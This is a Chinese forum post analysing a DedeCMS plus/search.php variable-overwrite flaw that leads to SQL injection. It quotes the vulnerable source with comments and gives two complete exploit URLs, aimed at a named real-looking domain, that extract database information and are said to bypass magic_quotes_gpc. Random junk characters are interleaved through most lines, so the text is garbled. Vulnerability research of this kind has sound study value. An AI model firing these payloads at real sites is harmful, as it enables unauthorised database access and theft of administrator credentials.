微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.4 p9 g( X/ t6 ^* h
作者: c4rp3nt3r@0x50sec.org p) I7 \9 p" ^# v
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.& P. W1 s; X5 Z
, G1 N: `# Y% `4 ?3 r黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
: D4 J5 R5 m! a3 N" ]7 n
, r. C \+ Y6 q) p============3 J7 W( P! ?1 c8 S
. x2 h) I2 |+ j: o4 A, k " F7 Y n4 a3 A( T# ^' D4 y
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.+ F: b% ~# R- k
6 P/ E/ c, C# l# Srequire_once(dirname(__FILE__).”/../include/common.inc.php”);6 S- q+ Z" k8 d+ S0 m
require_once(DEDEINC.”/arc.searchview.class.php”);
3 E3 p- O( w" [1 r- j
6 `) k- T+ v( P N) @6 A$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
; a: t- p( A8 u" V$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;# `# K4 z7 N; A, e3 T
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
: C) z0 o$ e& @$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
0 ^% _! f* E; @ o- u8 @0 F$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;2 b8 E% t" L: @0 `! t+ o, W& k
: r3 I/ S- {7 }& } C3 C3 _
if(!isset($orderby)) $orderby=”;& m" w2 z; E$ N# y! W O: i8 n
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);0 ] b: p4 E% w( x3 V
. W# D4 B, i4 U$ P
1 w( U/ I; p) ]. R# W/ N3 B$ p! Jif(!isset($searchtype)) $searchtype = ‘titlekeyword’;* Y' ^ X$ b6 `4 E# h
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
5 t+ h1 `( u# W
' E2 f8 S6 l" o% O6 Eif(!isset($keyword)){ }& q/ i/ z5 u. X5 ` X
if(!isset($q)) $q = ”;4 ~0 M* s( t2 D
$keyword=$q;; r8 H ]2 q+ G4 b+ M. a
}& x: J8 o8 J" ?# S; }, ^
0 U+ z/ Z9 O1 ]3 t* `+ a4 x( {+ L
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));9 J5 @4 J0 N! Z! z& S
- D9 f3 u! n6 _/ r( h# w# P* A
//查找栏目信息
' B- A. v3 h& Z0 C1 Kif(empty($typeid))9 j5 n4 r, N7 c( N, }% M3 R. l! w, q5 M
{4 I7 [/ |! T6 ]
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
: o0 ?) w( Q/ C; ~* s+ z if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )/ v. x% O& S' X4 y. @
{" b( B# s1 x, ^2 I% e
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
. {$ V" I+ r! M* ~% k" U$ P# B fwrite($fp, “<”.”?php\r\n”);
( ]6 m4 {8 f( N* l+ w. ^' r; ^9 o, A $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
W, Y7 t0 x* S; { $dsql->Execute();
0 W- n0 ^* v5 m( O( ]6 S while($row = $dsql->GetArray())$ x+ O2 |% z4 |$ F+ ~
{' h6 M# V$ p, y! ?
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
- S( G! l3 d. ~4 C; l }
, `" \! f" A+ o' L6 Y/ ? fwrite($fp, ‘?’.'>’);
, R# A! z. m9 y4 u% i3 X fclose($fp);: O$ t6 u0 s* P
}! ]) m2 u7 Y5 \4 x6 l. }
//引入栏目缓存并看关键字是否有相关栏目内容
- |& W7 k8 U# s7 |0 }- B' v' h0 ` require_once($typenameCacheFile);
/ K( m2 h$ D% V. x//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个: b. O; K n5 l
//+ m, j9 g2 \( {# C& c/ V3 Q) z& n
if(isset($typeArr) && is_array($typeArr))
/ v U. G9 N2 F" P+ y, V {
+ m# C) N" \: h; d/ j0 R foreach($typeArr as $id=>$typename)
) B' H O* ?% `& @; \/ m) r9 H {- q% W; I. j x& \5 b
5 O6 C6 y% j D0 N <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过 E4 s$ Q; a7 W/ v5 X8 b
if($keyword != $keywordn)
; [( j/ Q2 \# k, Z {. y5 W- L" r8 {4 t1 v, d+ e) }6 r
$keyword = $keywordn;
h: B l. \1 U1 u2 x% Q <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
0 g) ~6 Z% a. i0 ~ break;6 @" t7 `8 Q. G7 n, _
}+ P( Y' |$ b. V
}! u. Q( G: L. H6 h8 y \$ y# [
}# Z% |& V: @; i5 k* \ ^7 C
}: }# @# N3 l8 `8 T) \4 w/ `
然后plus/search.php文件下面定义了一个 Search类的对象 .* X5 H- h2 N+ s; H/ t
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
( q; P2 R; ?5 U4 E0 H$this->TypeLink = new TypeLink($typeid);
! m8 ]# I& q! r
7 b+ d( M& A O3 q! tTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
: S4 D L h7 R' V0 \
7 E2 @" D4 w" fclass TypeLink
6 ` w. o1 U8 T- U% }/ J* ^5 Q{
! S+ N, [; Y; }/ I var $typeDir;
( Y' ~3 F/ K7 X! q5 j& b2 n var $dsql;3 R( t) ?( S$ J2 ]( |9 w0 A
var $TypeID;& {: L. o. t; C& s
var $baseDir;) S4 \. O; L' g, f
var $modDir;. y9 N. h8 Z, e- @5 Z7 U0 g8 h
var $indexUrl;
- ?: R b i3 f/ f1 `4 m' s var $indexName;
1 u I& I7 T h. X; D$ } var $TypeInfos;; d' ^! ]2 b: K% `; h
var $SplitSymbol; ^1 C. W M' ?/ |; x
var $valuePosition;! j- y! ^# {; s$ {& e
var $valuePositionName;
% @9 \) a3 E% L/ t2 o var $OptionArrayList;//构造函数///////
* M7 R# c4 N# U/ k. ~+ m //php5构造函数
1 z5 L" j5 S8 C7 n& v* l function __construct($typeid)
0 M- U- a7 x) X" o {# }; t6 ]6 Z e: Y# M% h
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];0 Z" |" g5 d: x& {2 }
$this->indexName = $GLOBALS['cfg_indexname'];+ _+ ]8 K9 H, Y$ M1 }% {: l
$this->baseDir = $GLOBALS['cfg_basedir'];& q. R- x" ~ _
$this->modDir = $GLOBALS['cfg_templets_dir'];# G( V% J" u" e# ^
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
4 Z9 A8 C3 f7 q7 c+ c' b1 r $this->dsql = $GLOBALS['dsql'];% C1 Q- t* g% E( P) D# V
$this->TypeID = $typeid;. d8 @% |. n, S. A; }
$this->valuePosition = ”;( O N7 O9 r/ y2 _4 t: D
$this->valuePositionName = ”;
: Z9 R, @( s$ T% s3 t! w $this->typeDir = ”;* u" u- ?) _7 N6 A- L
$this->OptionArrayList = ”;
8 n, {0 v- d3 z+ V3 l7 R6 z
" s% S2 Y, s1 T/ E/ v0 s //载入类目信息; `* ]* P A5 E* ~
! V" `! v' b$ g& B. B E
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
1 T p7 }4 K! V6 jctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
D) g) H& F" O4 W`#@__channeltype` ch
7 @5 m" z# Z. W! ?; ]5 T9 w on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
, S7 z( j2 P0 g2 m! S- k( B : A7 `/ F; P( P4 c. k
if($typeid > 0)& Z9 x- }0 R: ]9 @& q! \
{
+ o! q# q8 y2 [* z' e# z+ R $this->TypeInfos = $this->dsql->GetOne($query);
/ e U' m: E, g+ e% [' q6 I) l利用代码一 需要 即使magic_quotes_gpc = Off
; f! ]+ L, j0 F! O' L1 [
' D0 w3 j8 g0 m" u, hwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title& ~9 V$ ` P4 g: p
- G# |! e' g2 b5 \! W- p% U
这只是其中一个利用代码… Search 类的构造函数再往下
7 U5 p5 D0 E6 h+ o( L + L3 c1 Q; I [' S2 g) w" T( n
……省略! w1 Y; L J: K% W: u/ Q9 |' E* w- T
$this->TypeID = $typeid;
' Q/ k, j0 M& B+ t" \* @……省略/ I$ i% X _; `9 ]
if($this->TypeID==”0″){
5 p8 [, m& a; C- K, O% }0 N# c; P$ e- G $this->ChannelTypeid=1;$ ^, O) b# R* B' n
}else{
2 s- f. u3 {! n $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲, c, |7 ` \. T5 x, ]4 G$ C
//现在不鸡肋了吧亲…
1 K0 }) g: H z @- L $this->ChannelTypeid=$row['channeltype'];
8 [$ f* {! B4 ^. @4 k ~* D
6 W! m# B* b! A( i% Y }
5 O7 S" J4 C1 [利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
. o' P+ X0 z- A% e
/ z5 T2 j& f) Pwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title- M, q. B0 e* _0 Z0 u3 ]# [
! _2 U) T" \4 e: c" x& |, y4 Y% \
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站 O; C( _9 W7 ?* C* k$ e) ^0 N7 H
|